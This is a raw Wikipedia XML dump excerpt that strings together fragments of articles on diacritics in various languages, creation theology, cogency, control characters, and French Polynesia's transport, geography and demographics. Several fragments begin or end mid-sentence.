97,55,000 females. The population density is 477 people/sq km. Hindus are about 80% of the populati
etters with the [[ogonek]] (''ą, ę, į'' and ''ų''), the [[macron]] (''ū'') and the [[anunaasika|superdot]] (''ė'') are considered as separate letters as well, but not given a unique collation order. * [[Portuguese language|Portuguese]] uses acute (to mark stressed vowels), grave (to mark the assimilation of two identical vowels into one, now used only on A), circumflex (marks both the stress and the roundness, being deprecated in this second use), cedilla (to mark the pronunciation of C as /s/ instead of /k/ before A, O and U and tilde (to mark the nasalisation of A and O). In [[Brazil]] diaeresis is also used to differ the pronunciation of groups like ''qüe'', and ''güi'' (respetively /kwe/ and /gwi/) from ''que'' and ''gui'' (/ke/ and /gi/). * Many [[Slavic languages|Slavic]] and [[Baltic languages|Baltic]] languages use caron to signify either [[palatalisation]] or [[iotation]]. * Many Slavic languages that use the Latin alphabet have [[ogonek]] and [[bar (diacritic)|bar]]. * [[Slovak language|Slovak]] has acute, caron, circumflex (only above ''o'') and diaresis (only above ''a''). * [[Spanish language|Spanish]] uses acute, diaeresis and tilde. Acute is used on a vowel in a stressed syllable in words with irregular stress patterns. It can also be used to &quot;break&quot; a [[diphthong]] as in ''tío'' (pronounced /'tio/, and not /tjo/ as it would be without the accent). Moreover, the acute can be used to distinguish words that otherwise are spelt alike, such as ''mas'' ( = &quot;but&quot;} and ''más'' ( = &quot;more&quot;), and also to distinguish interrogative and relative words otherwise spelt alike, such as ''donde/¿dónde?'' ( = &quot;where&quot;) or ''como/¿cómo?'' ( = &quot;as&quot;/&quot;how?&quot;). Tilde is used on ''n'', forming [[Ñ|a separate letter (''ñ'')]] in the Spanish alphabet. Diaeresis is used only over u (ü) so that it is pronounced /w/ in the combinations ''gue'' and ''gui'' (where ''u'' is normally silent), for example ''ambigüedad''. In poetry, diaeresis may be used on ''i'' and ''u'' as a way to force [[Hiatus (linguistics)|hiatus]]. *[[Tagalog language|Tagalog]] uses a hyphen after a consonant to indicate a syllable break (''nag-alis'' /nag·a·lís/ as opposed to ''nagalis'' /na·ga·lís/). A hyphen is not necessary between two vowels, vowels being distinctly pronounced in Tagalog (''tauhan'' /ta·ú·han/, ''buo'' /bu·ô/). *[[Tamil language|Tamil]] does not have any diacritics in itself, but uses the [[Arabic numerals|Western numerals]] 2, 3 and 4 as diacritics to represent aspirated, voiced, and voiced-aspirated consonants when the [[Tamil script]] is used to write to long passages in Sanskrit. * [[Turkish language|Turkish]] uses a [[G-breve]] (''Ğ''), a diaeresis on two vowels (''[[Ö]]'' and ''[[Ü]]'') to represent rounding, a cedilla on two consonants (''[[Ç]]'' and ''[[S-cedilla|Ş]]'', to represent the affricates &lt;tt&gt;/tS/&lt;/tt&gt; and &lt;tt&gt;/S/&lt;/tt&gt;) and also possesses a dotted capital ''[[I-dot|İ]]'' (and a dotless lowercase ''ı''). Turkish considers each of these a separate letter, rather than a modification of existing characters, however; see [[Turkish alphabet]] for more details. * [[Vietnamese language|Vietnamese]] uses acute (dấu sắc), grave (dấu huyền), tilde (dấu ngã), dot below (dấu nặng) and hook (dấu hỏi) on vowels as [[Tone (linguistics)|tone]] indicators. * [[Welsh language|Welsh]] uses the circumflex, diaeresis, acute and grave accents on its seven vowels ''a, e, i, o, u, w, y''. The most common is the circumflex (which it calls ''to bach'', meaning &quot;little roof&quot;) to denote a long vowel, usually to disambiguate it from a similar word with a short vowel. The rarer grave accent has the opposite effect, shortening vowel sounds which would usually be pronounced long. The acute accent and diaeresis are also occasionally used, to denote stress and vowel separation respectively. The w-circumflex and y-circumflex are among the most common accented characters in Welsh, but unusual in languages generally, and were until recently very hard to obtain in word-processed and HTML documents. * Modern [[English language|English]] does not usually have diacritics, which appear only in foreign and loanwords. The letter '''è''' is an exception, used to modify the pronunciation of words ending in -ed within poetry and songs, though this is considered, by some, to be archaic. Occasionally, especially in older literature, and notably in [[The New Yorker]]'s [[house style]], the diaeresis is used (as in Dutch) to indicate a syllable break. For instance, in &quot;coördinate&quot; it indicates that the second &quot;o&quot; starts a new syllable. == Non-diacritic usage == * [[Esperanto language|Esperanto]] has a separate letter which is a ''u'' with a [[breve]] over it, and letters which are ''c'', ''g'', ''h'', ''j'' and ''s'' with the [[circumflex]] over them. These are not diacritic marks, but necessary parts of entirely separate letters. * [[Estonian language|Estonian]] has a distinct letter ''õ'' which contains a non-diacritical tilde. Estonian &quot;dotted vowels&quot; ''ä'', ''ö'', ''ü'' are similar to German, but these are also distinct letters, not containing umlauts. All these four letters have their own place in the alphabet (between ''w'' and ''x''). * [[Faroese language|Faroese]] and [[Icelandic (language)|Icelandic]] use acute accents, digraphs, and other special letters. All are considered separate letters, and have their own place in the alphabet: ** Faroese: ''á'', ''ð'', ''í'', ''ó'', ''ú'', ''ý'', ''æ'' and ''ø'' ** Icelandic: ''á'', ''ð'', ''é'', ''í'', ''ó'', ''ú'', ''ý'', ''æ'', ''ö'' and ''þ'' * [[Finnish language|Finnish]] uses dotted vowels (''ä'' and ''ö'') similar to in Swedish, and ''å'', ''š'' and ''ž'' in foreign names and loanwords; they are considered distinct letters and collate after ''z''. * [[Hungarian language|Hungarian]] uses the acute and double acute accent (unique to Hungarian): ''áéíóú'' and ''őű''. The diacritic marks over the letters ''ö'' and ''ü'' are not [[umlaut]]s. The acute accent indicates the long form of a vowel, while the double acute performs the same function for ''ö'' and ''ü''. Both long and short forms of the vowels are listed separately in the [[Hungarian alphabet]]. * [[Maltese language|Maltese]] uses a C, G, and Z with a dot over them (Ċ, Ġ, Ż), and also has a H with an extra horizontal bar. For upper case H, the extra bar is written slightly above the usual bar. For lower case H, the extra bar is written crossing the vertical, like a ''t'', and not touching the lower part (Ħ, ħ). The above letters are considered separate letters, not dicritics. Maltese sometimes uses diacritics on some vowels to indicate stress or long vowels, especially in dictionaries. * [[Romanian language|Romanian]] uses a breve on the letter ''a'' ('''ă''') to indicate the sound [[schwa]] (/ə/), as well as a circumflex over the letters ''a'' ('''â''') and ''i'' ('''î''') for the sound /{{unicode|&amp;#616;}}/. Romanian also writes a [[comma]] below the letters ''s'' ('''{{polytonic|&amp;#537;}}''') and ''t'' ('''{{polytonic|&amp;#539;}}''') to represent the sounds /{{unicode|&amp;#643;}}/ and /{{unicode|&amp;#678;}}/, respectively. * Among the [[Scandinavian languages]], [[Danish language|Danish]] and [[Norwegian language|Norwegian]] have long used [[Æ|ash]] (''æ'', actually a ligature) and [[Ø|o-slash]] (''ø''), but have more recently incorporated a-ring (''å'') after Swedish example. Historically the ''å'' has developed from a ligature by writing a small a on top of the letter a; if an ''å'' character is unavailable, some Scandinavian languages allow the substitution of a doubled ''a''. The Scandinavian languages collate these letters after z, but have different [[collation]] standards. In [[Swedish language|Swedish]], the order å, ä, ö is used, while [[Danish language|Danish]] and [[Norwegian language|Norwegian]] follow the order æ, ø, å instead. * [[Swedish language|Swedish]] uses characters identical to a-diaeresis (''ä'') and o-diaeresis (''ö'') in the place of ash and o-slash in addition to the a-circle (''å''). Historically the diaresis for the Swedish letters ''ä'' and ''ö'', like the German umlaut, has developed from a small gothic ''e'' written on top of the letters. * [[Vietnamese language|Vietnamese]] uses the [[horn (diacritic)|horn]] for the letters ơ and ư; [[circumflex]] for the letters â, ê, and ô; [[breve]] for the letter ă; and a bar through the letter đ. See [[Vietnamese alphabet]] for their collation order. In all these cases they are not seen as additional marks over the vowel, but are actually a necessary part of these characters, as they represent entirely different sounds to the basic forms. * [[Cyrillic alphabet]]s ** [[Belarusian language|Belarusian]] has a letter ''[[U short |ў]]''. ** [[Russian language|Russian]] has the letter ''[[Yo (Cyrillic) |ё]]'', usually replaced in print by ''[[E (Cyrillic) |е]]'', although it has a different pronunciation. ''Ё'' is still used in children's books and in handwriting. A [[minimal pair]] is ''все'' (''vse'', &quot;all&quot; pl.) and ''всё'' (''vsio'', &quot;everything&quot; n. sg.). ** Bulgarian, Russian and [[Ukrainian language|Ukrainian]] have the letter ''[[Short I |й]]''. ** Ukrainian also has the letter ''[[Yi (Cyrillic) |ï]]''. ** Acute accents are also used in [[Slavic language]] dictionaries and textbooks to indicate [[lexical stress]], placed over the vowel of the stressed syllable. This can also serve to disambiguate meaning (e.g., in Russian ''писа&amp;#769;ть'' (''pisát'') means &quot;to write&quot;, but ''пи&amp;#769;сать'' (''písat'') means &quot;to piss&quot;). ==Non-alphabetic scripts== Some non-alphabetic scripts also employ symbols that function essentially as diacritics. * Non-pure [[abjad]]s (such as [[Hebrew language|Hebrew]] and [[Arabic language|Arabic]] script) and [[abugida]]s use diacritics for denoting [[
sence of the divine, but the presence of a God who conceals himself.&quot; In the ''Heidelberg Disputation'', [[Martin Luther]] referred to the same Biblical verse to propose his &quot;theology of the cross&quot;: &quot;That person does not deserve to be called a theologian who looks upon the invisible things of God as though they were clearly perceptible in those things which have actually happened ... He deserves to be called a theologian, however, who comprehends the visible and manifest things of God seen through suffering and the cross.&quot; Luther opposes his theology of the cross to what he called the &quot;theology of glory&quot;: :A theologian of glory does not recognize, along with the Apostle, the crucified and hidden God alone [I Cor. 2:2]. He sees and speaks of God's glorious manifestation among the heathen, how his invisible nature can be known from the things which are visible [Cf. Rom. 1:20] and how he is present and powerful in all things everywhere. For Murphy, Creationists are modern-day theologians of glory. Following Luther, Murphy argues that a true Christian cannot discover God from clues in creation, but only from the crucified Christ. Murphy observes that the execution of a Jewish carpenter by Roman authorities is in and of itself an ordinary event and did not require Divine action. On the contrary, for the crucifixion to occur, God had to limit or &quot;empty&quot; Himself. It was for this reason that Paul wrote, in Philippians 2:5-8, :Have this mind among yourselves, which is yours in Christ Jesus, who, though he was in the form of God, did not count equality with God a thing to be grasped, but emptied himself, taking the form of a servant, being born in the likeness of men. And being found in human form he humbled himself and became obedient unto death, even death on a cross. Murphy concludes that, :Just as the son of God limited himself by taking human form and dying on the cross, God limits divine action in the world to be in accord with rational laws God has chosen. This enables us to understand the world on its own terms, but it also means that natural processes hide God from scientific observation. For Murphy, a theology of the cross requires that Christians accept a ''methodological'' naturalism, meaning that one cannot invoke God to explain natural phenomena, while recognizing that such acceptance does not require one to accept a ''metaphysical'' naturalism, which proposes that nature is all that there is. According to Emil Brunner, &quot;God does not wish to occupy the whole of space Himself, but that He wills to make room for other forms of existence ... In so doing, He limits Himself.&quot; It is where God has limited Himself that humans must use their own intelligence to understand the world &amp;mdash; to understand the laws of gravity as well as evolution &amp;ndash; without relying on God as an explanation. It is only through the cross and the resurrection that one may find God. ====Plea to reject nonsense==== In his work ''The Literal Meaning of Genesis'' (De Genesi ad litteram libri duodecim), [[Augustine of Hippo|Saint Augustine]] ([[354]]-[[430]]), embarrassed by Christians who would not accept this implication of the Doctrine of Creation, wrote against them. This translation is by J. H. Taylor in ''Ancient Christian Writers'', Newman Press, 1982, volume 41. : &quot;Usually, even a non-Christian knows something about the earth, [..] and this knowledge he holds as being certain from reason and experience. Now, it is a disgraceful and dangerous thing for an infidel to hear a Christian, presumably giving the meaning of Holy Scripture, talking nonsense on these topics; and we should take all means to prevent such an embarrassing situation, in which people show up vast ignorance in a Christian and laugh it to scorn. The shame is not so much that an ignorant individual is derided, but that people outside the household of faith think our sacred writers held such opinions, and, to the great loss of those for whose salvation we toil, the writers of our Scripture are criticized and rejected as unlearned men. If they find a Christian mistaken in a field which they themselves know well and hear him maintaining his foolish opinions about our books, how are they going to believe those books in matters concerning the resurrection of the dead, the hope of eternal life, and the kingdom of heaven, when they think their pages are full of falsehoods and on facts which they themselves have learnt from experience and the light of reason?&quot; ==Creationism and naturalism== Creationists believe that a divine power created life and the laws by which nature operates, sometimes believing that every &quot;kind&quot; of living thing was separately &quot;created&quot;, while [[Naturalism (philosophy)|naturalists]] believe life came into being or developed into different species through natural means. This spectrum of opposing views has led to the debate commonly known as the [[Creation-evolution controversy|creation-evolution debate]]. ==See also== &lt;p&gt;&lt;/p&gt; {| style=&quot;background-color: transparent; width: {{{width|100%}}}&quot; &lt;p&gt;&lt;/p&gt; | width=&quot;{{{width|}}}&quot; align=&quot;{{{align|left}}}&quot; valign=&quot;{{{valign|top}}}&quot; | * [[Abrahamic religions]] * [[Biblical cosmology]] * [[Biblical inerrancy]] * [[Clockmaker hypothesis]] * [[Cosmogony]] * [[Cosmological argument]] * [[Cosmology]] * [[Creation evolution controversy]] * [[Creation science]] * [[Creation (theology)]] * [[Creator God]] * [[Dating Creation]] * [[Deism]] &lt;p&gt;&lt;/p&gt; | width=&quot;{{{width|}}}&quot; align=&quot;{{{align|left}}}&quot; valign=&quot;{{{valign|top}}}&quot; | * [[Divine simplicity]] * [[Evolution]] * [[Existence]] * [[Intelligent design]] * [[Irreducible complexity]] * [[Larry Booher]] * [[Lysenkoism]] * [[Origin belief]] * [[Natural theology]] * [[Starlight problem]] * [[Theism]] * [[Tzimtzum]] * [[William Paley]] &lt;p&gt;&lt;/p&gt; |} ==References== * [[Bernhard Anderson|Anderson, Bernhard W.]] (editor) ''Creation in the Old Testament'' (ISBN 0800617681) * [[Bernhard Anderson|Anderson, Bernhard W.]] ''Creation Versus Chaos: The Reinterpretation of Mythical Symbolism in the Bible'' (ISBN 159752042X) * [[Ian Barbour]] ''When Science Meets Religion'', 2000, Harper SanFrancisco * Ian Barbour ''Religion and Science: Historical and Contemporary Issues'', 1997, Harper SanFrancisco. *[http://www.robibrad.demon.co.uk/Chapter3.htm Bradshaw, Robert I., &quot;The Early Church &amp; the Age of the Earth&quot;] * [[Stephen Jay Gould]] ''Rock of Ages: Science and Religion in the fullness of life'', Ballantine Books, 1999 * Edward J. Larson and Larry Witham ''Leading scientists still reject God'' in ''Nature,'' Vol. 394, No. 6691 (1998), p. 313. Online at http://www.freethought-web.org/ctrl/news/file002.html * Scott, Eugenie C., 1999 (Jul/Aug). The creation/evolution continuum. Reports of the National Center for Science Education 19(4): 16-17,21-23. *[http://www.religioustolerance.org/ev_publi.htm US poll results - Public beliefs about evolution and creation] ===References (historical)=== * Gosse, Henry Philip, 1857. Omphalos: An Attempt to Untie the Geological Knot. J. Van Voorst, London ===References (Christian)=== *Murphy, George L., 2002, &quot;Intelligent Design as a Theological Problem,&quot; in ''Covalence: the Bulletin of the Evangelical Lutheran Church in America Alliance for Faith, Science, and Technology'' 4(2) ===References (Jewish)=== * Aviezer, Nathan. In the Beginning: Biblical Creation and Science. Ktav, 1990. Hardcover. ISBN 0-881253-28-6 * Carmell, Aryeh and Domb, Cyril, eds. ''Challenge: Torah Views on Science'' New York: Association of Orthodox Jewish Scientists/Feldheim Publishers, 1976. ISBN 0873061748 * Aryeh Kaplan, ''Immortality, Resurrection, and the Age of the Universe: A Kabbalistic View'', Ktav, NJ, in association with the Association of Orthodox Jewish Scientists, NY, 1993 * Joel R. Primack and Nancy Ellen Abrams ''In a Beginning...: Quantum Cosmology and Kabbalah'', Tikkun, Vol. 10, No. 1, pp. 66-73 * Schroeder, Gerald L. ''The Science of God: The Convergence of Scientific and Biblical Wisdom'' Broadway Books, 1998, ISBN 0-767903-03-X * Jeffrey H. Tigay, ''Genesis, Science, and &quot;Scientific Creationism&quot;'', Conservative Judaism, Vol. 40(2), Winter 1987/1988, p.20-27, The [[Rabbinical Assembly]] ==External links== &lt;p&gt;&lt;/p&gt; {| style=&quot;background-color: transparent; width: {{{width|100%}}}&quot; &lt;p&gt;&lt;/p&gt; | width=&quot;{{{width|}}}&quot; align=&quot;{{{align|left}}}&quot; valign=&quot;{{{valign|top}}}&quot; |&lt;!-- overviews of creationism, i.e. all these links are similar because they describe the variety of viewpoints that have been described as creationist. --&gt; * [http://plato.stanford.edu/entries/creationism/ Stanford Encyclopedia entry on Creationism] * [http://www.familyradio.com/zusa/graphical/literature/when/when_contents.html God is the Creator] * [http://www.howstuffworks.com/creationism.htm How creationism works] &lt;p&gt;&lt;/p&gt; | width=&quot;{{{width|}}}&quot; align=&quot;{{{align|left}}}&quot; valign=&quot;{{{valign|top}}}&quot; | * [http://images.derstandard.at/20051012/Evolution-and-Creationism.pdf Evolution and Creationism]. A Guide for Museum Docents (PDF) * [http://www.talkorigins.org/faqs/wic.html What is creationism?] from [[talk.origins]] * [http://www.ncseweb.org/resources/articles/1593_the_creationevolution_continu_12_7_2000.asp The Creation/Evolution Continuum] by [[Eugenie Scott]]. *[http://www.stephenjaygould.org/ctrl/azimov_creationism.html Armies of the Night] by Isaac Asimov. &lt;p&gt;&lt;/p&gt; |} ===Organizations=== [[Talk.origins]] maintains an extensive list of [http://www.talkorigins.org/origins/other-links.html general links relevant to creationism] and [http://www.talkorigins.org/origins/other-links-cre.html a full list of creationist websites].
ic.html The Cyrillic Charset soup] * [http://homepages.cwi.nl/~dik/english/codes/stand.html Early history of character set standardization] * [http://www.i18nguy.com/unicode/codepages.html Character Sets And Code Pages At The Push Of A Button] * [http://www.cs.mcgill.ca/~aelias4/encodings.html A complete introduction to Japanese character encodings] * [http://www.cs.tut.fi/~jkorpela/chars.html A tutorial on character code issues] *[http://www.paulschou.com/tools/xlate/ Online Char (ASCII), HEX, Binary, Base64, etc... Encoder/Decoder with MD2, MD4, MD5, SHA1+2, etc. hashing algorithms] [[Category:Character encoding|*]] [[cs:Znaková sada]] [[da:Tegnsæt]] [[de:Zeichencodierung]] [[es:Codificación de caracteres]] [[fr:Codage_de_caract%C3%A8res]] [[gl:Codificación de caracteres]] [[ja:&amp;#25991;&amp;#23383;&amp;#12467;&amp;#12540;&amp;#12489;]] [[nn:teiknsett]] [[zh:&amp;#23383;&amp;#31526;&amp;#38598;]] [[zh-min-nan:Pian-bé]]</text> </revision> </page> <page> <title>Cogency</title> <id>5296</id> <revision> <id>41245309</id> <timestamp>2006-02-26T01:03:27Z</timestamp> <contributor> <username>Obsidian-fox</username> <id>161870</id> </contributor> <comment>validity -&gt; soundness; see talk</comment> <text xml:space="preserve">An [[logical argument | argument]] is '''cogent''' if and only if the truth of the argument's premises would render the truth of the conclusion probable (i.e., the argument is ''strong'') and the premises are, in fact, true. Cogency can be considered [[inductive logic]]'s analogue to [[deductive logic]]'s &quot;[[soundness]].&quot; As an example, consider the following. :Without looking, Jill pulled out 100 marbles from a bag; 95 of the marbles Jill pulled out were red. :Therefore, the next marble Jill pulls out from the bag will be red. The truth of the premises would, indeed, make the conclusion probable. Therefore, this argument is strong. If the premises are, in fact, true, then the argument is also cogent. ==&quot;Probable&quot;== There is no standard of how likely an event must be for it to be called &quot;probable.&quot; Just as there are degrees of probability, one can also speak of degrees of cogency. The degree of an argument's cogency, then, is a function of the argument's strength. In the above example, Jill pulling out a 101st marble that turns out to be red would make the conclusion even more likely, and therefore the argument stronger. Note that this feature of cogency is a disanalogy from deductive logic's &quot;validity,&quot; since a deductive argument can be either valid or invalid and nothing in between. ==Good argument== '''Good argument,''' as used by philosophers and many others, means simply a [[soundness|sound]] or cogent argument. If one has offered a sound or cogent argument in defense of one's conclusion, then one has stated a ''[[truth|true]]'' view, or at least a ''[[probability|probably]]'' true view. The premises of one's argument ''support'', or, with some sophisticated complications aside, ''[[epistemic justification|justify]]'' one's belief in the conclusion. A good argument is the closest thing we have to a guarantee that a belief is true. If one is armed with a good argument, one has helped to justify one's belief in the conclusion, and to [[the motivation to philosophize|remove doubts]] about it. == See also == * [[Explanation]] * [[Inductive reasoning]] * [[Soundness]] * [[Validity]] [[Category:Logic]] &lt;!-- [[Category:Philosophy]] too general --&gt;</text> </revision> </page> <page> <title>Computer character</title> <id>5297</id> <revision> <id>15903510</id> <timestamp>2002-08-19T22:08:23Z</timestamp> <contributor> <username>Lee Daniel Crocker</username> <id>43</id> </contributor> <text xml:space="preserve">#REDIRECT [[Character (computing)]]</text> </revision> </page> <page> <title>Control character</title> <id>5298</id> <revision> <id>42044981</id> <timestamp>2006-03-03T12:24:56Z</timestamp> <contributor> <username>Pkierski</username> <id>1022971</id> </contributor> <text xml:space="preserve">In [[computing]], a '''control [[Grapheme |character]]''' or '''non-printing character''', is a [[code point]] (a [[number]]) in a [[character set]] that does not in itself represent a written symbol. All entries in the [[ASCII]] table below 32 (technically the [[C0 and C1 control codes|C0]] control code set) are of this kind, including BEL (which is intended to cause an audible signal in the receiving terminal), SYN (which is a synchronization signal), and ENQ (a signal that is intended to trigger a response at the receiving end, to see if it is still present). The [[Unicode]] standard has added many new non-printing characters, for example the [[Zero-width non-joiner]]. The remainder of this article covers control codes in general and some codes that are in common use. For detailed tables of the [[C0 and C1 control codes]] used in ASCII and [[ISO-8859-n]], please see their respective articles. == In [[ASCII]] == The control characters in ASCII still in common use include * 7 (bell), which may cause the device receiving it to emit a warning of some kind (usually audible) * 8 (backspace), used either to erase the last character printed or to overprint it * 9 (horizontal tab), moves the printing position some spaces to the right * 10 (line feed), used as the end_of_line marker in most [[Unix|UNIX systems]] and variants * 12 (form feed), to cause a printer to eject paper to the top of the next page * 13 (carriage return), used as the end_of_line marker in [[Mac OS]], [[OS-9]], [[FLEX]] (and variants); [[CP/M]]-80 and its derivatives including [[DOS]] and [[Microsoft Windows|Windows]] through the FAT-12, -16, and -32 file systems, and [[application layer]] [[communications_protocol|protocols]] such as [[HyperText Transfer Protocol|HTTP]], all used the CR/LF character pair as an end_of_line marker, and * 27 (escape). Occasionally one might encounter modern uses of other codes such as code 4 (End of transmission) used to end a [[Unix shell]] session or [[PostScript]] printer transmission. Code 27 (Escape) is a case worth elaborating. Even though many of these control characters are never used, the concept of sending device-control information intermixed with printable characters is so useful that device makers found a way to send hundreds of device instructions. Specifically, they used a series of multiple characters called a &quot;[[control sequence]]&quot; or &quot;[[escape sequence]]&quot;. The mechanism was invented by [[Bob Bemer]], the father of ASCII. Typically code 27 was first sent to alert the device that the following characters were to be interpreted as a control sequence rather than as plain characters, then one or more characters would follow specifying some detailed action, after which the device would go back to interpreting characters normally. For example, the sequence of code 27, followed by the printable characters &lt;nowiki&gt;&quot;[2;10H&quot;&lt;/nowiki&gt;, would cause a [[Digital Equipment Corporation|Digital]] VT-102 terminal to move its [[computer cursor|cursor]] to the 10th cell of the 2nd line of the screen. Some standards exist for these sequences, notably [[ANSI]] X3.64 (1979), which was based on the behavior of VT-100 series terminals. But the number of non-standard variations in use is large, especially among printers, where technology has advanced far faster than any standards body can possibly keep even with. == How control characters map to keyboards == &lt;!--major work needed, pc keyboards do not send ascii to the pc at all they send scancodes which are then translated to codes from the systems legacy character set or unicode or whatever by the operating system.--&gt; ASCII-based [[computer keyboard|keyboard]]s have a key labelled &quot;[[control key|Control]]&quot; or &quot;Ctrl&quot; (sometimes referred to as &quot;Cntl&quot;) which is used much like a shift key, being depressed in combination with another letter or symbol key. In this way the control key generates the code 64 places below the code for the (generally) uppercase letter it is pressed in combination with, producing one of the 32 ASCII control codes. So, the [[octet (computing)|octet]] code produced by a control key combination has the second from leftmost bit (the 2&lt;sup&gt;7&lt;/sup&gt;th, i.e. the 64th, place bit) forced to zero and is otherwise the bit pattern generated when the control key is not one of those pressed. For example, pressing &quot;control&quot; and the letter &quot;G&quot; (code 71 in [[decimal|base 10]], which is 01000111 in [[Binary numeral system|binary]], a code which generally also requires the shift key be depressed), produces the code 7 (Bell, 7 in base 10, or 00000111 in binary). A key press combination that produces a code with 0 in the 64th place is unaffected should the control key be held down as well. Keyboards also typically have a few single keys which produce control character codes. For example, the key labelled &quot;Backspace&quot; typically produces code 8, &quot;Tab&quot; code 9, &quot;Enter&quot; or &quot;Return&quot; code 13 (though some keyboards might produce code 10 for &quot;Enter&quot;). Modern keyboards have many keys that do not correspond to any ASCII printable or control character, for example cursor control arrows and [[word processing]] functions. These keyboards communicate these keys to the attached computer by one of three methods: appropriating some otherwise unused control character for the new use, using some encoding other than ASCII, or using multi-character control sequences. Keyboards attached to stand-alone [[personal computer]]s typically use one (or both) of the first two methods. &quot;Dumb&quot; [[computer terminal]]s typically use control sequences. == The design pu
. In 2002, 69% of the population of French Polynesia lived in the island of [[Tahiti]] alone. The urban area of [[Papeete]], the capital city, has 127,635 inhabitants (2002 census). ==Transport== ''Main article: [[Transportation in French Polynesia]]'' While most major roads are paved and well-maintained, many secondary roads are not. Traffic is brisk and all types of vehicles and pedestrians jockey for space on narrow streets. Crosswalks are marked and the law requires that motor vehicles stop for pedestrians; however, this is not always done. Tourists should exercise caution when driving, particularly at night. ==Education== Education is also provided by France. French Polynesia has a University, the [[Université de la Polynésie Française]] (UPF, &quot;University of French Polynesia&quot;), located in [[Faa'a]], Tahiti. It is a small university counting around 2,000 students. Luise Peltzer, former minister of culture of French Polynesia has been elected president of the University for 5 years. There are about 60 researchers at the university, including physicists Pascal Ortega (lightning studies) and Alessio Guarino ([[nonlinear]] physics). In the Human Sciences department, sociologist [[Laura Schuft]] deserves to be mentioned for her study on the integration of [[Metropolitan France|mainland French]] workers in Tahiti. ==Miscellaneous topics== French Polynesia has one of the lowest crime rates within France and its territories. However, petty crime, such as pickpocketing and purse snatching, occurs. Medical treatment is generally good on the major islands, but is limited in areas that are more remote or less populated. Patients with emergencies or with serious illnesses are often referred to facilities on Tahiti for treatment. In [[Papeete]], the capital of Tahiti, two major hospitals as well as several private clinics provide 24-hour medical service. Serious medical problems requiring hospitalization or medical evacuation can cost thousands of dollars. Doctors and hospitals often expect immediate cash payment for health services. As an overseas territory of France, defence and law-enforcement are provided by the [[Military of France|French Forces]] (Army, Navy, Air Force) and [[French Gendarmerie|Gendarmerie]]. ==See also== * [[Communications in French Polynesia]] * [[Universite de la Polynesie Francaise]], University of French Polynesia * [[French overseas departments and territories]] * [[Administrative divisions of France]] * [[Islands controlled by France in the Indian and Pacific oceans]] * [[Music of French Polynesia]] ==External links== * [http://www.southpacific.org/text/finding_tahiti.html Finding French Polynesia] * [http://www.janeresture.com/tahitihome/tahiti.htm Jane's Tahiti Home Page: tourist information on French Polynesia] * [http://www.pacific-pictures.com/tahiti/ French Polynesia Photos] * [http://www.mapsouthpacific.com/tahiti/index.html Map of French Polynesia] * [http://www.polynesie-francaise.gouv.fr/ Government of French Polynesia] * [http://www.presidence.pf/ Presidency of French Polynesia] * [http://www.upf.pf University of French Polynesia] * [http://www.polynesie-francaise.gouv.fr/hc/inter/inter-subdiv.asp ''subdivisions administratives'' of French Polynesia] {{Polynesia}} {{Oceania}} &lt;!-- --&gt; [[Category:French Polynesia| ]] [[Category:Oceanian countries]] [[Category:Special territories of the European Union]] [[zh-min-nan:Hoat-kok Polynésie]] [[ca:Polinèsia Francesa]] [[da:Fransk Polynesien]] [[de:Französisch-Polynesien]] [[et:Prantsuse Polüneesia]] [[es:Polinesia Francesa]] [[eo:Franca Polinezio]] [[fr:Polynésie française]] [[gl:Polinesia Francesa - Polynésie française]] [[ko:프랑스령 폴리네시아]] [[hr:Francuska Polinezija]] [[id:Polinesia Perancis]] [[io:Franca Polinezia]] [[is:Franska Pólýnesía]] [[it:Polinesia francese]] [[he:פולינזיה הצרפתית]] [[lt:Prancūzijos Polinezija]] [[hu:Francia Polinézia]] [[nl:Frans-Polynesië]] [[ja:フランス領ポリネシア]] [[no:Fransk Polynesia]] [[pl:Polinezja Francuska]] [[pt:Polinésia Francesa]] [[ru:Французская Полинезия]] [[sk:Francúzska Polynézia]] [[fi:Ranskan Polynesia]] [[sv:Franska Polynesien]] [[tr:Fransız Polinezyası]] [[zh:法屬玻里尼西亞]]</text> </revision> </page> <page> <title>French Polynesia/History</title> <id>10738</id> <revision> <id>15908534</id> <timestamp>2002-07-27T08:41:00Z</timestamp> <contributor> <username>The Epopt</username> <id>30</id> </contributor> <comment>#REDIRECT [[French Polynesia]]</comment> <text xml:space="preserve">#REDIRECT [[French Polynesia]]</text> </revision> </page> <page> <title>Geography of French Polynesia</title> <id>10739</id> <revision> <id>15908535</id> <timestamp>2005-03-14T20:14:28Z</timestamp> <contributor> <username>D6</username> <id>75561</id> </contributor> <minor /> <comment>fmt with [[Template:coor]] (see [[Wikipedia:WikiProject Geographical coordinates|WikiProject]])</comment> <text xml:space="preserve">[[Image:Fp-map.gif|right|map courtesy CIA World Factbook]] This article describes the '''[[geography]] of [[French Polynesia]]'''. ; Location: : [[Oceania]], [[archipelago]] in the South [[Pacific Ocean]], about one-half of the way from [[South America]] to [[Australia]] ; [[Geographic coordinates]]: : {{coor dm|15|00|S|140|00|W|type:country}} ; Map references: : Oceania ; Area: :* Total: 4,167 [[Square kilometre|km&amp;sup2;]] (118 islands and atolls) :* Land: 3,660 km&amp;sup2; :* Water: 507 km&amp;sup2; ; Land boundaries: : 0 km ; Coastline: : 2,525 km ; Maritime claims: :* Exclusive economic zone: 200 [[Nautical mile|nm]] :* Territorial sea: 12 nm ; Climate: : Tropical, but moderate ; Terrain: : Mixture of rugged high islands and low islands with reefs ; Elevation extremes: :* Lowest point: Pacific Ocean 0 [[metre|m]] :* Highest point: Mont Orohena 2,241 m ; Natural resources: : Timber, fish, [[cobalt]], [[hydropower]] ; Land use: :* Arable land: 1% :* Permanent crops: 6% :* Permanent pastures: 5% :* Forests and woodland: 31% :* Other: 57% (1993 est.) ; Irrigated land: : NA km&amp;sup2; ; Natural hazards: : Occasional cyclonic storms in January ; Environment - current issues: : NA ; Geography - note: : Includes five archipelagoes; [[Makatea]] in French Polynesia is one of the three great phosphate rock islands in the Pacific Ocean - the others are [[Banaba Island|Banaba]] (Ocean Island) in [[Kiribati]] and [[Nauru]] See also: [[French Polynesia]] [[Category:French Polynesia]] [[Category:Geography by country|French Polynesia]] [[fr:Géographie de la Polynésie française]]</text> </revision> </page> <page> <title>Demographics of French Polynesia</title> <id>10740</id> <revision> <id>15908536</id> <timestamp>2005-02-13T11:57:08Z</timestamp> <contributor> <username>TShilo12</username> <id>153537</id> </contributor> <minor /> <comment>fixed bad wikiography</comment> <text xml:space="preserve">'''[[Population]]:''' 249,110 (July 2000 est.) '''Age structure:''' &lt;br&gt;''0-14 years:'' 30% (male 38,736; female 37,197) &lt;br&gt;''15-64 years:'' 65% (male 83,986; female 76,973) 